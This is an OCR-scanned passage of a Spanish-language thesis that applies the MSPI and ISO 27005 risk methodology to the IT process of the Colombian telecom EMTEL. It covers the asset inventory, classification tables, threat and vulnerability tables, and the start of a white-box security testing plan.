informacion respecto a la seguridad y privacidad de la misma, por lo tanto los
controles no estan alineados con la preservacion de la confidencialidad, integridad
y disponibilidad de la informacion.

Tabla 3.7 Nivel de madurez de la empresa EMTEL

EMTEL

NIVEL DE
CUMPLIMIENTO

e

PRIVACIDAD DE LA INFORMACION

Inicial CRITICO

Repetible CRITICO

Definido CRITICO

Administrado CRITICO

NIVELES DE MADUREZ DEL
MODELO DE SEGURIDAD Y

Optimizado CRITICO
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3.4 METODOLOGIA DE EVALUACION DEL RIESGO

Dentro del marco del Modelo de Seguridad y Privacidad de la Informacién, un tema
decisivo es la gestion del riesgo, la cual es utilizada para la toma de decisiones en
cualquier entidad, ya que mediante un analisis del riesgo se conocen las debilidades
y fortalezas internas de una organizacion, y se establecen las medidas preventivas
gue permitan garantizar los nivele de seguridad en su informacion, en razén a lo
anterior el MinTIC propone la guia N°7 denominada Gestion de Riesgos [35] la cual
adopta la metodologia propuesta por el Departamento de la Funcién Publica (DAFP)
y la ISO/IEC 27005, cuyo proposito es identificar, evaluar, tratar y dar seguimiento
a los riesgos de seguridad de la informacion a los que estan expuestos los activos
de informacion de una entidad.

El proceso de gestion del riesgo en seguridad de la informacion consta de la
definicion del enfoque organizacional para la valoracion del riesgo y su posterior
tratamiento como se muestra en la figura 3.5.

| |

<———>| ESTABLECIMIENTO DEL CONTEXTO |

ANALISIS DEL RIESGO H

E | IDENTIFICACION DELRIESGO |

> E | ESTIMACION DEL RIESGO |

EVALIACION DELRIESGO |

_______________________________________________________

NO

DECISION SOBRE EL RIESGO
PUNTO 1: Valoracién Satisfactoria s1

1 >
4———>| TRATAMIENTO DEL RIESGO | g

NO

COMUNICACION DEL RIESGO

MONITOREQY REVISION DEL RIESGO

DECISION SOBRE EL RIESGO

PUNTO 2: Tratamiento Satisfactorio) st

4" ACEPTACION DELRIESGO }

Figura 3.5 Proceso de administracién de riesgos en seguridad de la informacion [36]
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Teniendo en cuenta la metodologia para la gestion del riesgo propuesta por la DAFP
e ISO/IEC 27005, a continuacion, en la figura 3.6 se detallan las fases desarrolladas
de esta metodologia en el proceso de Tl de la Empresa de Telecomunicaciones de
Popayan S.A EMTEL E.S.P.

PROCESO DE ADMINISTRACION DEL RIESGO EN LA EMPRESA DE
TELECOMUNICACIONES DE POPAYAN S A EMTEL ESP

3.5 CONTEXTO ESTRATEGICO
ORGANIZACIONAL

£

3.6 VALORACION DEL DEL
RIESGO 3.6.1.1.1 Identificacién de activos de informacidn

3.6,1.1.2 Clasificacion de activos de infermacion

3.6.1.1.3 Identificacian de amenazas
3.6.1.1.4 Identificacian de cantroles existentes

3.6.1.1.5 Identificacian de vulnerabilidades

3.6.2 ESTIMACION _,— 3.6.2.1 Valoracion del nivel de impacto
DEL RIESGO 3.6.2.2 Valoracian del nivel de probabilidad

3.6.2.3 Niveles de estimacidn del riesgo

3.6.3 EVALUACION

DEL RIESGO

3.7 TRATAMIENTO DE RIESGOS

Figura 3.6 Proceso de gestién del riesgo en TI

3.5 CONTEXTO ESTRATEGICO ORGANIZACIONAL

El contexto estratégico de la empresa, comprende aspectos como la mision, vision
objetivos estratégicos, procesos, procedimientos, normatividad legal, entre otros,
los cuales fueron tratados en la primera fase del presente capitulo.

3.6 VALORACION DEL RIESGO EN SEGURIDAD DE LA INFORMACION
3.6.1 Analisis del riesgo

3.6.1.1 Identificacidn del riesgo

Mediante la realizacion de entrevistas, se debe identificar las fuentes de riesgo, las
areas de impacto y determinar el evento que podria suceder que cause una pérdida
potencial en la empresa, en ese sentido resulta de gran importancia llegar a
comprender como, dénde y porgue podria ocurrir esti perdida, por lo que en esta
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fase se deben recolectar datos de entrada para la estimacion del riesgo a través de
las siguientes actividades:

3.6.1.1.1 Identificacién de activos de informacién

Esta fase tiene como propdésito identificar los activos de informacion que le aportan
valor agregado al proceso de Tl y por lo tanto necesitan ser protegidos de
potenciales riesgos, para realizar el inventario de activos de informacion de la
Empresa de Telecomunicaciones de Popayan S.A EMTEL E.S.P se hara uso de la
guia N°5 del MSPI (Guia para la Gestion y Clasificacion de Activos de Informacion),
cuyo objetivo es dar cumplimiento a los puntos principales descritos en los controles
del dominio 8 (Gestion de activos) del Anexo A del estandar ISO/IEC 27001:2013

[4].

A continuacién, en la tabla 3.8 se detallan los parametros que se tendran en cuenta
para realizar el inventario de activos del proceso de TI.

Tabla 3.8 Parametros para realizar inventario de activos de informacion
‘ ITEM DESCRIPCION

ID Activo NuUmero consecutivo Unico que identifica al activo en el inventario.

Proceso Nombre del proceso al que pertenece el activo

Nombre del

. Nombre del activo dentro del proceso al que pertenece
Activo

Descripcion | Descripcion breve del activo de informacion

Define el tipo al cual pertenece el activo (Informacidén-Software-

Tipo Recurso Humano-Servicio-Hardware-Otros)

Describe la ubicacion tanto fisica como electrénica del activo de

Ubicacioén . -,
informacion

Propietario del

. Quien es el duefio del activo de informacién
activo

Proceso o0 grupo de trabajo encargado de hacer efectivo las
Custodio restricciones y clasificaciones de acceso definidos por los
propietarios.

Son quienes generan, obtienen, transforman, conservan, eliminan
Usuarios o utilizan la informacién, en papel o en medio digital, fisicamente
0 a través de las redes de datos y los sistemas de informacion.
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Como resultado del levantamiento de activos de informacion del proceso de Tl (ver
anexo B), en la tabla 3.9 y figura 3.7 se puede apreciar que Tl dispone de 140

activos, distribuidos de la siguiente manera:

Tabla 3.9 Activos de Tl

TIPO DE ACTIVO CANTIDAD
Activos de 6
Informacion
Activos software 22
Activos Hardware 109
Activos Recurso
3
Humano
Total 140
ACTIVOS DE TI
120
100
80
60
40
) L]
0 [
Activos de Activos software Activos Hardware
Informacion

Activos Recurso
Humano

Figura 3.7 Activos de informacién de Tl clasificados por tipo

Asi mismo con el propésito de automatizar el proceso de levantamiento de activos
de TI, se implementd en la empresa la herramienta software GLPI, la cual, a través
de fusidn Inventory provee numerosas funciones avanzadas para el inventario y
administracion de activos de informacién tales como: computadoras, monitores,
impresoras, equipos de red, software, entre otros, como se observa a continuacion

en la figura 3.8:

47



< C A Noesseguro

192.168.2.190/glpi/front/central.php * O

B crscicoioms ? Rk M Qe &

Inventario Administracién Configuracién

Tablero  Vistapersonal  Vistade Grupo  VistaGlobal  RSSfeeds  Todo

Por razones de seguridad, por favor cambie las contrasefias de 105 usuarios por defecto: glpi normal post-only tech
Por razones de suguridad, por favor borre el archivo: installinstail.php

Figura 3.8 Herramienta software GLPI para inventario de activos

3.6.1.1.2 Clasificacion de la informacién

Una vez identificado los activos de informacion del proceso de Tl se procede a
realizar la clasificacion de los mismos, cuyo objetivo es asegurar que la informacion
reciba los niveles de proteccion adecuados, en ese sentido la guia N°5 del MSPI [4]
propone un sistema de clasificacion basado en la confidencialidad, integridad y
disponibilidad de los activos, y asi mismo define tres niveles de calificacion alto,
medio y bajo, los cuales permiten determinar el valor del activo en la empresa como
se muestra en la tabla 3.10 y la tabla 3.11, este sistema de clasificacion de
informacion sigue los lineamientos relacionados con la Gestion de Activos de los
estandares 1ISO 27001:2013, ISO 27002, e ISO 27005.

Tabla 3.10 Criterios de clasificacion

CONFIDENCIALIDAD | INTEGRIDAD | DISPONIBILIDAD
INFORMACION ALTA ALTA
PUBLICA ) )
RESERVADA
INFORMACION BAJA BAJA
PUBLICA (B) (3)
NO CLASIFICADA | NO CLASIFICADA | NO CLASIFICADA
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Tabla 3.11 Niveles de clasificacion

Activos de informacion en los cuales la clasificacion de la
informacion en dos (2) o todas las propiedades (confidencialidad,
integridad y disponibilidad es alta.

Activos de informacion en los cuales la clasificacion de la
MEDIA informacion es alta en (1) de sus propiedades o al menos una de
ellas es de nivel medio.

Activos de informacion en los cuales la clasificacion de la
informacion en todos sus niveles es baja

Clasificacion de acuerdo con la confidencialidad

La confidencialidad se refiere a que la informacién no esté disponible ni sea revelada
a individuos, entidades o procesos no autorizados, esta se debe definir de acuerdo
con las caracteristicas de los activos que se manejan en cada entidad, el MSPI
definen tres (3) niveles como se puede observar en la tabla 3.12, los cuales se
encuentran alineados con los tipos de informacién declarados en la ley 1712 del
2014 [4].

Tabla 3.12 Esquema de clasificacion por confidencialidad

Informacién disponible solo para un proceso de la entidad y que
en caso de ser conocida por terceros sin autorizacién puede
conllevar un impacto negativo de indole legal, operativa, de
pérdida de imagen o econémica

Informacion disponible para todos los procesos de la entidad y
que en caso de ser conocida por terceros sin autorizacion puede
INFORMACION | conllevar a un impacto negativo para los procesos de la misma.

PUBLICA Esta informacion es propia de la entidad o de terceros y puede
CLASIFICADA |ser entregada a todos los funcionarios de la entidad para realizar
labores propias de los procesos, pero no puede ser conocida por
terceros sin autorizacion del propietario.

Informacion que puede ser entregada o publicada sin
restricciones a cualquier persona dentro y fuera de la entidad,
sin que implique dafios a terceros ni a las actividades y procesos
de la entidad.
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Activos de informacién que deben ser incluidos en el inventario
y que aun no han sido clasificados, deben ser tratados activos
de INFORMACION PUBLICA RESERVADA.

Clasificacion de acuerdo con laintegridad

La integridad se refiere a la exactitud y completitud de la informacién (ISO 27000)
esta propiedad es la que permite que la informacion sea precisa, coherente y
completa desde su creacion hasta su destruccion. EI MSPI propone un esquema de
clasificacion de tres (3) niveles como se observa en la tabla 3.13 [4]:

Tabla 3.13 Esquema de clasificacion por integridad

Informacién cuya pérdida de exactitud y completitud puede
conllevar a un impacto negativo de indole legal o econdmica,
retrasar sus funciones, o generar pérdidas de imagen severas
de la entidad.

Informacién cuya pérdida de exactitud y completitud puede
conllevar un impacto negativo de indole legal o econémica,
retrasar sus funciones, o generar pérdida de imagen
moderado a funcionarios de la entidad.

MEDIA

Informacién cuya pérdida de exactitud y completitud
conlleva un impacto no significativo para la entidad o entes
externos

Activos de Informacion que deben ser incluidos en el
inventario y que aun no han sido clasificados, deben ser
tratados como activos de informacién de integridad ALTA

Clasificacion de acuerdo con la disponibilidad

La disponibilidad es la propiedad de la informacion que se refiere a que ésta debe
ser accesible y utilizable por solicitud de una persona entidad o proceso autorizada
cuando asi lo requiera esta, en el momento y en la forma que se requiere ahora y
en el futuro, al igual que los recursos necesarios para su uso. El MSPI propone un
esquema de clasificacion de tres (3) niveles, como se observa en la tabla 3.14 [4]
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Tabla 3.14 Esquema de clasificacién por disponibilidad

La no disponibilidad de la informacién puede conllevar un
impacto negativo de indole legal o econémica, retrasar sus
funciones, o generar pérdidas de imagen severas a entes
externos.

La no disponibilidad de la informacion puede conllevar un
impacto negativo de indole legal o econémica, retrasar sus
funciones, o generar pérdida de imagen moderada de la
entidad.

MEDIA

La no disponibilidad de la informacion puede afectar la
operacion

normal de la entidad o entes externos, pero no conlleva
implicaciones legales, econémicas o de pérdida de imagen.

Activos de Informacion que deben ser incluidos en el inventario
y que aun no han sido clasificados, deben ser tratados
como activos de informacion de disponibilidad ALTA

En el Anexo C se muestra la clasificacion de activos del proceso de Tl de la Empresa
de Telecomunicaciones de Popayan S.A EMTEL E.S.P, y en la tabla 3.15 y en la
figura 3.9 se puede apreciar a manera de resumen que del total de activos, 38
corresponden a activos criticos (clasificacion alta), entre los que se encuentran
servidores, plataformas tecnoldgicas, computadores de escritorio, entre otros, esta
informacion es de vital importancia para el proceso de evaluacion del riesgo, ya que
una buena practica es realizar gestion del riesgo a activos de informaciéon que se
consideren con nivel de clasificacion ALTA.

Tabla 3.15 Clasificacion de activos de Tl

CLASIFICACION DE

ACTIVOS CANTIDAD
ALTA 38
MEDIA 80
BAJA 22
TOTAL 140
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CLASIFICACION DE ACTIVOS DE TI
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Figura 3.9 Clasificacion de activos de Tl

3.6.1.1.3 Identificacién de amenazas

Una amenaza tiene el potencial de causar dafios a activos tales como informacion,
procesos y sistemas, y por lo tanto en general a una empresa. Las amenazas
pueden ser de origen deliberado (D), accidental (A) y ambientales €. La letra D se
utiliza para todas las acciones deliberadas que tienen como objetivo los activos de
informacion, A se utiliza para las acciones humanas que pueden dafiar
accidentalmente un activo y E se utiliza para todos los incidentes que no se basan
en las acciones humanas [35].

En la tabla 3.16 se muestran las amenazas comunes que pueden afectar los activos
de informacion del proceso de Tl de acuerdo al tipo de activo (Informacién (1),
Software (SW), Hardware (HW), Servicio (S), Recurso humano (RH).

Tabla 3.16 Amenazas que pueden afectar los activos de informacion de Tl

GRUPO AMENAZA ORIGEN ACTIVOS AFECTADOS
A D |E | |SW|HW| S | RH

Fuego X | X | X | X X

Dafio por agua X X X X X
Dafio fisico Contaminacion X | X | X X

Accidente importante X X X X X

Destruccion del equipo o los medios X X X X X

Polvo, corrosién, congelamiento X X X X

Fendémenos climéticos X X X

Eventos naturales ; —

Fenomenos sismicos X X X X
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Fendmenos volcanicos

Fenémenos meteorolégicos

Inundacioén

Pérdida de los
servicios esenciales

Falla en el suministro de agua o aire
acondicionado

X [ XX |X

Pérdida de suministro de energia

X [ X

Falla en el equipo de
telecomunicaciones

Perturbacion debida a
la radiacion

Radiacion electromagnética

Radiacion térmica

Impulsos electromagnéticos

X|IX|X| X |X]| X

XX | XX

Compromiso de la
informacion

Interceptacion de sefiales
comprometedoras

Espionaje remoto

Escucha encubierta

Hurto de medios o documentos

XX |X|X

Hurto de equipos

Recuperacion de medios reciclados o
desechados

X

Divulgacion

Datos provenientes de fuentes no
confiables

Manipulacién con hardware

Manipulacién con software

X

Deteccion de la posicién

XIX|X| X | X]| X [ X|X|X|X| X | X|IX|X| X |X| X

Fallas técnicas

Falla del equipo

Mal funcionamiento del equipo

Saturacioén del sistema de informacion

>

Mal funcionamiento del software

Incumpliendo en el mantenimiento del
sistema de informacién

X[ X[ XXX

Acciones no
autorizadas

Uso no autorizado del equipo

X

Copia fraudulenta del software

>

Uso de software falso o copiado

Corrupcion de los datos

Procesamiento ilegal de datos

XXX | XX

Compromiso de las
funciones

Error en el uso

Abuso de derechos

X[ X | X | X

Falsificacion de derechos

Negacion de acciones

Incumplimiento en la disponibilidad del
personal

X XXX
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Fuentes de amenaza humana

Asi mismo las fuentes de amenaza humana se clasifican de acuerdo a la persona o
grupos de personas que podrian llegar a perpetrar algun tipo de ataque en una
empresa, en la tabla 3.17 se puede observar las fuentes de amenaza humana
comunes con su respectiva accion amenazante [35].

FUENTE DE AMENAZA

Pirata informatico, intruso ilegal

MOTIVACION

Reto, Ego, Rebelidn,
Estatus, Dinero

Tabla 3.17 Amenazas humanas

ACCIONES AMENAZANTES

Pirateria, Ingenieria Social Intrusion,
accesos, forzados al sistema,
Acceso no autorizado

Criminal de la computacion

Destruccion de la
informacion, Divulgacion
ilegal de la informacion,

Ganancia monetaria,
Alteracion no autorizada de
los datos.

Crimen por computador, Acto
fraudulento, Soborno de la
informacién, Suplantacion de
identidad, Intrusién en el sistema

Terrorista

Chantaje, Destruccion
Explotacién, Venganza,
Ganancia politica,
Cubrimiento de los medios
de comunicacion

Bomba/Terrorismo, Guerra de la
informacioén, Ataques contra el
sistema, Penetracion en el sistema,
Manipulacién en el sistema

Espionaje, industrial
(inteligencia, empresas,
gobiernos extranjeros, otros
intereses)

Ventaja competitiva
Espionaje econdémico

Ventaja de defensa, Ventaja politica,
Explotacion economica, Hurto de
informacion, Intrusion en privacidad
persona, Ingenieria social,
Penetracién en el sistema, Acceso
no autorizado al sistema
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Asalto a un empleado, Chantaje,
Observar informacion reservada, Uso

Curiosidad, Ego, inadecuado del computador, Fraude

Intrusos (Empleados con Inteligencia, Ganancia . o
: . : y hurto, Soborno de informacion,
entrenamiento deficiente, monetaria, Venganza,
. . g Ingreso de datos falsos o corruptos,
descontentos, malintencionados, | Errores y omisiones, no - - -
negligentes, deshonestos o intencionales (ej. Error en Interceptacion, Codigo malicioso,
glig e . : Venta de informacion personal,
despedidos) el ingreso de datos, error

Errores en el sistema, Intrusion al
sistema, Sabotaje del sistema,
Acceso no autorizado al sistema.

de programacion)

3.6.1.1.4 Identificacion de controles existentes

En esta fase se identifican los controles existentes en la empresa con el fin de evitar
trabajo o costos innecesarios [35], como ya se mencioné en la fase de diagnostico
el porcentaje de cumplimiento de la empresa con respecto a los controles del Anexo
A de la norma ISO/IEC 27001 es muy bajo, en el Anexo D se puede apreciar que
del total de los 114 controles propuestos en la norma, la empresa cumple
parcialmente con algunos de los requerimientos de tan solo 18 controles, la mayoria
de medidas adoptadas en seguridad por la empresa dependen directamente de un
individuo y son principalmente reactivas.

3.6.1.1.5 Identificacién de vulnerabilidades

Una vulnerabilidad es una debilidad de un activo o control que puede ser explotada

por una 0 mMAas amenazas, para realizar una correcta identificacion de
vulnerabilidades es necesario conocer la lista de amenazas comunes, la lista de
inventario de activos y el listado de controles existentes [35].

La sola presencia de una vulnerabilidad no causa dafios por si misma, dado que es
necesario que exista una amenaza presente para explotarla. Una vulnerabilidad que
no tiene una amenaza puede no requerir la implementacion de un control [35], en
ese sentido, a continuacion, en la tabla 3.18 se relacionan las vulnerabilidades
encontradas en los activos de informacion de proceso de Tl con posibles amenazas
asociadas a cada una estas.

En esta fase, solo se tendran en cuenta los activos criticos (clasificacion alta) de Tl
de la Empresa de Telecomunicaciones de Popayan S.A EMTEL E.S.P, debido a
gue como ya se menciono los activos con clasificacion ALTA son los que necesitan
mayor proteccion.
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Tabla 3.18 Vulnerabilidades y amenazas presentes en los activos criticos del

ACTIVO

OPEN FLEXIS

proceso de TI

VULNERABILIDAD

Ausencia de terminacién de sesion por parte de los
usuarios cuando abandonan la estacion de trabajo, la
mayoria de empleados al terminar la jornada laboral
dejan encendido el computador con las aplicaciones
abiertas

AMENAZA

Abuso de los derechos

Interfaz de usuario compleja y poco amigable debido
a que la plataforma tecnoldgica es obsoleta

Error en el uso

Ausencia de documentacion sobre el funcionamiento
de la plataforma, solo el ingeniero encargado de la
administracién de los sistemas de informacion tiene
conocimiento sobre la configuracion y funcionamiento
de la plataforma.

Error en el uso

Configuracién incorrecta de parametros, hay clientes
de la empresa con doble registro y datos incorrectos

Error en el uso

No se realiza monitoreo constante de los eventos y
registros logs que permitan detectar posibles
intrusiones y/o debilidades de seguridad

Errores de configuracion

Gestion deficiente de contrasefias, el nivel de
complejidad de las contrasefias es débil, no hay
restriccion minima de la cantidad de caracteres que
debe tener la contrasefia, ni se solicita la combinacion
de caracteres alfanuméricos

Falsificacion de derechos

Falta de asignacion de perfiles de acuerdo al rol que
desempefian para el desarrollo de las actividades.

Abuso de privilegios de
acceso

Ausencia de control de cambios eficaz

Mal funcionamiento del
software

Ausencia de pruebas de efectividad que permitan
determinar vulnerabilidades técnicas en la plataforma
tecnolégica

Ataque informéatico

Ausencia de registro de eventos y/o fallas en una
bithcora que permita la trazabilidad de actividades que
se desarrollan en la plataforma tecnol6gica

Error en el uso

APOTEOSYS

Ausencia de terminacién de sesion por parte de los
usuarios cuando abandonan la estacién de trabajo, la
mayoria de empleados al terminar la jornada laboral
dejan encendido el computador con las aplicaciones
abiertas

Abuso de los derechos

Interfaz de usuario compleja y poco amigable debido
a que la plataforma tecnolégica es obsoleta

Error en el uso

56




PLATAFORMA DE
CONTACT
CENTER

Ausencia de documentacion sobre el funcionamiento
de la plataforma, solo un el ingeniero encargado de la
administracién de los sistemas de informacion tiene
conocimiento sobre la configuracion y funcionamiento
de la plataforma.

Error en el uso

Configuracién incorrecta de parametros

Error en el uso

No se realiza monitoreo constante de los eventos y

registros logs que permitan detectar posibles|Errores de configuracion
intrusiones y/o debilidades de seguridad
Gestion deficiente de contraserias, el nivel de

complejidad de las contrasefias es débil, no hay
restriccion minima de la cantidad de caracteres que
debe tener la contrasefia, ni se solicita la combinacién
de caracteres alfanuméricos

Falsificacion de derechos

Falta de asignacion de perfiles de acuerdo al rol que
desempefian para el desarrollo de sus actividades

Abuso de privilegios de
acceso

Ausencia de pruebas de efectividad que permitan
determinar vulnerabilidades técnicas en la plataforma
tecnolégica

Ataque informatico

Ausencia de registro de eventos y/o fallas en una
bithdcora que permita la trazabilidad de actividades que
se desarrollan en la plataforma tecnoldgica

Error en el uso

Ausencia de control de cambios eficaz

Mal funcionamiento del
software

Ausencia de terminacién de sesion por parte de los
usuarios cuando abandonan la estacion de trabajo, la
mayoria de empleados al terminar la jornada laboral
dejan encendido el computador con las aplicaciones
abiertas

Abuso de los derechos

Ausencia de documentacion sobre el funcionamiento
de la plataforma

Error en el uso

Configuracién incorrecta de parametros

Error en el uso

Ausencia o insuficiencia de pruebas de software

Mal funcionamiento del
software

Gestion deficiente de contraserias, el nivel de
complejidad de las contrasefias es débil, no hay
restriccion minima de la cantidad de caracteres que
debe tener la contrasefia, ni se solicita la combinacién
de caracteres alfanuméricos

Falsificacion de derechos

No se realiza monitoreo constante de los eventos y
registros logs que permitan detectar posibles
intrusiones y/o debilidades de seguridad

Errores de configuracion
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Falta de asignacion de perfiles de acuerdo al rol que
desempefian para el desarrollo de sus actividades

Abuso de privilegios de
acceso

Ausencia de pruebas de efectividad que permitan
determinar vulnerabilidades técnicas en la plataforma
tecnolégica

Ataque informatico

Ausencia de registro de eventos y/o fallas en una
bitacora que permita la trazabilidad de actividades que
se desarrollan en la plataforma tecnolégica

Error en el uso

DOC4US

Ausencia de terminacién de sesion por parte de los
usuarios cuando abandonan la estacion de trabajo, la
mayoria de empleados al terminar la jornada laboral
dejan encendido el computador con las aplicaciones
abiertas

Abuso de los derechos

Ausencia de documentacion sobre el funcionamiento
de la plataforma

Error en el uso

Gestion deficiente de contraserias, el nivel de
complejidad de las contrasefias es débil, no hay
restriccion minima de la cantidad de caracteres que
debe tener la contrasefia, ni se solicita la combinacién
de caracteres alfanuméricos

Falsificacion de derechos

No se realiza monitoreo constante de los eventos y
registros logs que permitan detectar posibles
intrusiones y/o debilidades de seguridad

Errores de configuracion

Falta de asignacion de perfiles de acuerdo al rol que
desempefian para el desarrollo de sus actividades

Abuso de privilegios de
acceso

COMPUTADOR DE
ESCRITORIO
(Cantidad =20)

Ausencia de mantenimiento preventivo de equipos

Fallo del equipo

Ausencia de esquemas de reemplazo periddico

Destruccion del equipo

Susceptibilidad a la humedad, polvo y suciedad,
debido a que la mayoria de las CPUs se encuentran
ubicadas en el suelo

Polvo, corrosion,
congelamiento

Susceptibilidad a la variacion de voltaje debido a que
los equipos de cOmputo se encuentran conectados a
la red de corriente no regulada

Falla en el suministro de
energia eléctrica

Ausencia de copias de respaldo de usuario final

Perdida de informacion

Almacenamiento sin proteccion debido a que no se
cifran los documentos

hurto de informacion

Falta de un eficiente control de cambios

Error en el uso

Equipos con software no licenciado

Ingreso de codigo
malicioso al sistema
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SERVIDOR
CONTACT
CENTER

SERVIDOR DE
APOTEOSYS

No se cuenta con las restricciones fisicas de acceso
adecuado

Perdida de equipos

Equipos obsoletos, la mayoria de los computadores
tienen mas 12 afios de antigliedad

Incompatibilidad con el
nuevo software adquirido

Ausencia de antivirus en la mayoria de los equipos de
la empresa

Instalacion de software
malicioso

Falta de cuidado en la disposicion final, la mayoria de
los equipos se dan de baja sin hacer borrado de la
informacion que se encuentra en ellos

hurto de informacion

Ausencia de pruebas de efectividad que permitan
determinar vulnerabilidades técnicas en los equipos
de computo

Ataque informatico

Ausencia de actualizacion de parches de seguridad en
sistemas operativos

Ataque informatico
aprovechando nuevas
vulnerabilidades

Mantenimiento preventivo insuficiente sobre la
infraestructura de red que permita proteger el
funcionamiento del equipo y salvaguardar la
informacion

Fallo del equipo

Ausencia de un sistema de deteccion de humo y/o
fuego en el cuarto de servidores

Fuego

Susceptibilidad a la humedad, polvo y suciedad

Polvo, corrosion,
congelamiento

Susceptibilidad a la variacion de voltaje

Dafio del equipo

Falta de un eficiente control de cambios

Error en el uso

Ausencia de equipos de comunicacion de respaldo
gue garanticen la continuidad del negocio

Fallo de servicios de
comunicacion

Ausencia de sistemas de control ambiental que
permitan controlar variables como temperatura y
humedad relativa en el cuarto de servidores

Cambio imprevisible de
temperatura en el medio
ambiente

Ausencia de proteccion fisica, debido a que no existen
mecanismos de autenticacion para el ingreso al cuarto
de servidores

hurto de informacion

Ausencia de pruebas de restauracion de copias de
respaldo

Copia de respaldo
corrupta

Ausencia de copias de respaldo periddicas

Fallo en el servidor

Mantenimiento preventivo insuficiente sobre la
infraestructura de red que permita proteger el
funcionamiento del equipo y salvaguardar la
informacion

Fallo del equipo

Ausencia de un sistema de deteccién de humo y/o
fuego en el cuarto de servidores

Fuego
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SERVIDOR DE
DOC4US

Susceptibilidad a la humedad, polvo y suciedad

Polvo, corrosion,
congelamiento

Susceptibilidad a la variacién de voltaje

Dafio del equipo

Falta de un eficiente control de cambios

Error en el uso

Falta de equipos de comunicacion de respaldo que
garanticen la continuidad del negocio

Fallo de servicios de
comunicacion

Ausencia de sistemas de control ambiental que
permitan controlar variables como temperatura y
humedad relativa en el cuarto de servidores

Cambio imprevisible en el
medio ambiente

Ausencia de proteccion fisica, debido a que no existen
mecanismos de autenticacion para el ingreso al cuarto
de servidores

hurto de documentos

Ausencia de pruebas de restauracion de copias de
respaldo

Copia de respaldo
corrupta

Mantenimiento preventivo insuficiente sobre la
infraestructura de red que permita proteger el
funcionamiento del equipo y salvaguardar la
informacion

Fallo del equipo

Ausencia de un sistema de deteccion de humo y/o
fuego en el cuarto de servidores

Fuego

Susceptibilidad a la humedad, polvo y suciedad

Polvo, corrosion,
congelamiento

Falta de un eficiente control de cambios

Error en el uso

Falta de equipos de comunicacion de respaldo que
garanticen la continuidad del negocio

Fallo de servicios de
comunicacion

SERVIDOR OPEN
FLEXIS

Mantenimiento preventivo insuficiente sobre la
infraestructura de red que permita proteger el
funcionamiento del equipo y salvaguardar Ila
informacion

Fallo del servidor

Ausencia de un sistema de deteccion de humo y/o
fuego en el cuarto de servidores

Fuego

Susceptibilidad a la humedad, polvo y suciedad

Polvo, corrosion,
congelamiento

Susceptibilidad a la variacion de voltaje

Dafio del equipo

Falta de un eficiente control de cambios

Error en el uso

Falta de equipos de comunicacion de respaldo que
garanticen la continuidad del negocio

Fallo de servicios de
comunicacion

Ausencia de sistemas de control ambiental que
permitan controlar variables como temperatura y
humedad relativa en el cuarto de servidores
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IMPRESORAS
(Cantidad = 4)

Ausencia de pruebas de restauracion de las copias de
respaldo

Copia de respaldo
corrupta

Mantenimiento preventivo insuficiente

Incumplimiento en el
mantenimiento

Ausencia de esquemas de reemplazo periodico

Destruccion de equipo o
medios.

Susceptibilidad a la humeda, el polvo y la suciedad.

Polvo, corrosion,
congelamiento.

Ausencia de un eficiente control de cambios en la
configuracion

Error en el uso

CAMARAS (CCTV)

Ausencia de esquemas de reemplazo periddico

Destruccion del equipo

Ausencia de niveles de proteccion fisica sobre los
dispositivos que forman el CCTV

Hurto de medios

CINTAS
MAGNETICAS
(Cantidad = 5)

EMPRESA
(ORGANIZACION)

No existen politicas para el uso seguro de medios de
almacenamiento

Robo

Ausencia de niveles de proteccion fisica sobre los
medios de almacenamiento externo

Hurto de medios

Los medios de almacenamiento donde se realizan las
copias de respaldo se encuentran ubicados en el
mismo lugar del servidor

Inundacién, Fuego

No se establece ningun proceso de cifrado en
unidades de almacenamiento externo

Robo

Ausencia de procedimiento formal para el registro y
retiro de usuarios

Abuso de los derechos

Ausencia de planes de continuidad

Falla de equipos

Ausencia de procedimientos para el manejo de
informacion sensible

Error en el uso

Ausencia de procesos disciplinarios definidos en el
caso en gue se presente un incidente de seguridad
de la informacion

Hurto de equipo

Ausencia o insuficiencia de politica sobre limpieza de
escritorio y de pantalla

Hurto de medios o
documentos

Ausencia de procedimientos para el cumplimiento de
las disposiciones referente a los derechos de
proteccioén intelectual.

Uso de software no
licenciado

Ausencia de responsabilidad en seguridad de la
informacion en la descripcion de los cargos

Error en el uso

Entrenamiento insuficiente en seguridad

Error en el uso
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3.6.1.1.6 Valoracion de vulnerabilidades técnicas mediante pruebas de
efectividad

Con el fin de determinar qué tan vulnerables son los activos criticos (clasificacion
alta) de informacién de la empresa, se procede a realizar una evaluacion técnica
sobre algunos de estos mediante la implementacion de pruebas de efectividad,
también conocidas como pruebas de concepto, estas pruebas permiten reconocer
las vulnerabilidades técnicas presentes en un sistema informético buscando
encontrar fallos de seguridad [16].

Existen tres tipos de pruebas dependiendo del nivel de conocimiento del entorno, a
continuacion, se mencionan cada una de estas:

Pruebas con conocimiento nulo del entorno: Es un tipo de prueba que simularia
a un atacante real, ya que se basa en que tiene muy poco conocimiento del objetivo
0 su infraestructura [16].

Pruebas con conocimiento medio del entorno: En estas pruebas se tiene més
informacion sobre el ambiente que ser& atacado, es decir, direccion IP, sistemas
operativos, arquitectura de red, etc., pero es informacion de igual manera limitada o
media. Esto emula a alguna persona dentro de la red con conocimiento basico de
la misma [16].

Pruebas con conocimiento completo del entorno: Es cuando el hacker tiene toda
la informacién relacionada al sistema objetivo del ataque. Es generalmente para
temas de auditoria [16].

De acuerdo a lo anterior el tipo de pruebas que se implementaran en la empresa
seran pruebas con conocimiento completo del entorno, debido a que se tiene total
conocimiento del funcionamiento interno de los sistemas a evaluar, ademas este
tipo de pruebas permiten realizar un analisis integral, ya que se usa la mayor
cantidad de informacion posible para detectar puntos de fallos o vulnerabilidades
potenciales en los sistemas de informacion.

Para el desarrollo e implementacion de las pruebas de efectividad en la Empresa
de Telecomunicaciones de Popaydn S.A EMTEL E.S.P se hara uso de la
metodologia propuesta en la guia N°1 del MSPI, la cual se muestra en la figura 3.10.
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POST MODELADO DE
EXPLOTACION AMEMNATAS

EVALUACION DE
VIULNERABILIDADES

Figura 3.10 Ciclo para la Ejecucion de Pruebas de Efectividad Técnicas [16]

A continuacion, se detallan las fases a seguir en la metodologia propuesta para
cada una de las pruebas a implementar.

1. Contextualizacion

En esta fase se define el alcance real de las pruebas y de los procedimientos a
ejecutar con base a las necesidades identificadas y a la clasificacion de activos [16],
en ese sentido las pruebas iran dirigidas para algunos de los activos criticos de la
empresa los cuales se mencionan a continuacion:

e Objetivo a evaluar: El objetivo a evaluar son algunos de los activos criticos
de la empresa entre los que se encuentran servidores, sistemas de
informacion y computadores de escritorio:

+ Servidor open flexis

